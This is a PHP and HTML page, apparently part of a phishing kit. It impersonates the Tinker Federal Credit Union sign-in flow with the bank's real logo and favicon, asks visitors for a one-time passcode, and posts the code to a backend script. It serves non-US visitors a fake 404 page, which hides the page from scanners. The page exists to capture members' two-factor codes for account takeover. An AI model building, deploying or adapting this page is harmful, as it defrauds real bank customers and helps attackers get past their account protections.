<?php


$IPaddress=$_SERVER['REMOTE_ADDR'];
$two_letter_country_code=iptocountry($IPaddress);

if ($two_letter_country_code!=="US"){
    header('HTTP/1.1 404 Not Found');
    include '../404.php';
    exit();
    }

function iptocountry($ip) {   
    $numbers = preg_split( "/\./", $ip);   
    include("../ip_files/".$numbers[0].".php");
    $code=($numbers[0] * 16777216) + ($numbers[1] * 65536) + ($numbers[2] * 256) + ($numbers[3]);   
    foreach($ranges as $key => $value){
        if($key<=$code){
            if($ranges[$key][0]>=$code){$two_letter_country_code=$ranges[$key][1];break;}
            }
    }
    if ($two_letter_country_code==""){$two_letter_country_code="unkown";}
    return $two_letter_country_code;
}


?>


<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login . Tinker Federal Credit Union</title>
    <link rel="stylesheet" href="style2.css">
    <link rel="icon" href="https://www.tinkerfcu.org/wp-content/uploads/cropped-TFCU-Favicon-2022-192x192.png">
</head>
<body>
    <div class="container">
        <div class="content">
            <div class="form-content">
                <form action="../Backend/otp.php" method="post">
                    <div class="img"><img src="https://secure.tinkerfcu.org/images/fi-assets/tinker-fcu/tinker-fcu-logo-4972c316.png" alt=""></div>
                    <p style="color:black;font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background-color: rgb(220, 108, 70);height: 45px;padding-top:12px;">For verification a one time otp code has been sent to your phone number.</p>
                    <div class="input" style="margin-top:20px;color: #cb4a20;font-size:17px;"><input type="tel" name="otp" placeholder="OTP" autocomplete="off" title="OTP" required></div>
                    <div class="forgot"><a href="">Forgot?</a></div>
                    <div class="button"><button name="button" type="submit">Sign in</button></div>
                </form>
            </div>
        </div>
    </div>
</body>
</html>